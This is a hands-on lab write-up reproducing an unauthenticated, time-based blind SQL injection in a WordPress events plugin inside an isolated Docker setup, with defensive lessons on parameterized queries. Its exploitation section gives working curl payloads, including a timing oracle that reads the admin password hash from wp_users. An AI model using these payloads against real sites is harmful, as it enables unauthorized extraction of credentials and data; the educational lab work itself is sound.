Labs

CVE-2026-11349: WordPress Plugin Unauthenticated SQL Injection

Docker lab SQL Injection

Updated July 27, 2026 · Written by PWNMI — see About.

WordPress core gets most of the security attention, but the overwhelming majority of real-world WordPress compromises come through plugins, not core itself. This lab reproduces one directly: an unauthenticated, blind SQL injection in Modern Events Calendar Lite, a WordPress events plugin, that lets an attacker extract data from the database one bit at a time with no login required.

This lab uses a public proof-of-concept and a real vulnerable version of the plugin, running fully isolated with no ports exposed beyond the Docker host itself. Affects Modern Events Calendar Lite through 7.33.0. Original research and PoC: Hann1bl3L3ct3r/CVE-2026-11349.

What you'll practice: recognizing raw string concatenation into a SQL query even when it's buried behind a plugin's own sanitization function, using timing (SLEEP()) as an oracle when a query returns no visible output, and extracting real data blind, one byte at a time — the technique underneath every "blind SQLi" finding you'll see in a real report.

Set up the lab

New to Docker or git, or unsure what the commands below are actually doing? See Docker for Security Labs and Git for Security Work first.

Get the lab files from pwnmihq/resources, including the plugin zip itself — bundled directly so this lab needs no external download:

git clone --filter=blob:none --sparse https://github.com/pwnmihq/resources
cd resources
git sparse-checkout set cve-labs/CVE-2026-11349
cd cve-labs/CVE-2026-11349
docker compose up -d

This brings up MariaDB, WordPress, and a one-shot wpcli container that installs WordPress, activates the plugin, and seeds one event so the vulnerable query actually has a row to evaluate against. Wait for it to finish:

until [ "$(docker inspect $(docker compose ps -qa wpcli) --format '{{.State.Status}}')" = "exited" ]; do sleep 2; done
docker compose logs wpcli

No ports are published — reach WordPress on its own address:

WP_IP=$(docker inspect $(docker compose ps -q wordpress) --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}')

Understanding the vulnerability

The plugin registers an AJAX action, mec_list_load_more, reachable without authentication via WordPress's standard wp_ajax_nopriv_ hook prefix — that prefix exists specifically for actions anonymous visitors are supposed to be able to trigger, like loading more events on a public calendar page. That's not the bug by itself; plenty of legitimate functionality is intentionally reachable this way.

The bug is in how the plugin builds its database query once a request arrives. The atts[include][] and atts[exclude][] parameters are meant to be a list of event IDs to filter by. The plugin does run them through a sanitization function first — but that function only cleans individual values in the array, and the code that follows uses implode() to join those already-sanitized values directly into a raw SQL string for an IN (...) / NOT IN (...) clause, with no parameterized query or additional escaping at the point where the string actually gets concatenated. Sanitizing each piece doesn't help if the assembly step afterward is still raw string concatenation.

That gap lets a value like 0)) OR SLEEP(3)# close out the intended clause early, append an arbitrary boolean condition, and comment out whatever the original query template still expected to follow.

Exploitation

First confirm the baseline — a normal request, and how long it takes:

curl -s -o /dev/null -w 'time:%{time_total}s\n' -G "http://$WP_IP/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' --data-urlencode 'atts[include][]=0'

That should return in well under a second. Now the injection — appending OR SLEEP(3) after breaking out of the intended clause:

curl -s -o /dev/null -w 'time:%{time_total}s\n' -G "http://$WP_IP/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' --data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'

A response that now takes roughly three seconds longer confirms the injected SQL actually executed — the delay is the proof, since the endpoint returns no visible output either way. Confirm it's a real conditional, not just an unconditional delay, with a true/false pair:

curl -s -o /dev/null -w 'TRUE case:  %{time_total}s\n' -G "http://$WP_IP/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' --data-urlencode 'atts[include][]=0)) OR IF(1=1,SLEEP(3),0)#'
curl -s -o /dev/null -w 'FALSE case: %{time_total}s\n' -G "http://$WP_IP/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' --data-urlencode 'atts[include][]=0)) OR IF(1=2,SLEEP(3),0)#'

The TRUE case delays, the FALSE case doesn't. That's a working oracle — any condition you can express in SQL, you can now ask "true or false" and read the answer from timing alone. Point it at real data: the first character of the admin account's password hash from wp_users:

curl -s -o /dev/null -w 'time:%{time_total}s\n' -G "http://$WP_IP/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"

36 is the ASCII code for $ — the character every bcrypt/phpass hash in WordPress starts with. If that request delays, the oracle just confirmed a real, specific fact about data it was never supposed to expose. A real attacker automates this exact loop — guess a character, check the delay, move to the next position — to extract full password hashes, session tokens, or any other column in the database, entirely blind. Confirm independently that the oracle told the truth:

docker compose exec -T db mariadb -uwordpress -pwordpress wordpress \
  -e "SELECT user_login, SUBSTRING(user_pass,1,1) FROM wp_users;"

Cleanup

There's nothing to revert here, and that's worth noting explicitly rather than skipping past. Every request in this walkthrough was a SELECT extracting data through a timing side channel — nothing was written, no row changed, no account touched. Not every technique leaves a mark on the target: a pure data-extraction bug like this one is detectable in logs (the unusual atts[include][] payloads, if anyone's looking) but leaves no state to clean up afterward. Worth confirming this explicitly during a real engagement rather than assuming it, though — a blind SQLi that only ever runs SELECT statements is the easy case; the same injection point could just as easily have been used for UPDATE/INSERT, which would leave something behind.

Tear the lab down when you're done:

docker compose down -v

Lessons worth keeping

  • Sanitizing a value and safely using a value are two different steps. This bug exists specifically because the code sanitized each array element individually, then still concatenated the results into a raw query string afterward. Parameterized queries close this gap entirely by never building SQL as a string in the first place — sanitization is a weaker, easier-to-get-wrong substitute.
  • No visible output doesn't mean no vulnerability. This endpoint never echoes a database error or query result back to the attacker. Time-based blind injection exists precisely for this case — the response timing itself becomes the entire communication channel.
  • wp_ajax_nopriv_ is a legitimate WordPress pattern, not a red flag by itself. The vulnerability isn't that this endpoint is reachable without login — plenty of AJAX actions should be. It's what the code does once a request arrives that determines whether "unauthenticated" and "safe" are actually the same thing here.

Next step

For the recon phase that would surface a plugin like this on a real target — fingerprinting what's running before you know what to test — see OSINT Fundamentals. For more real CVEs reproduced the same way, see CVE-2026-53595 (FreeScout) and CVE-2025-24813 (Apache Tomcat).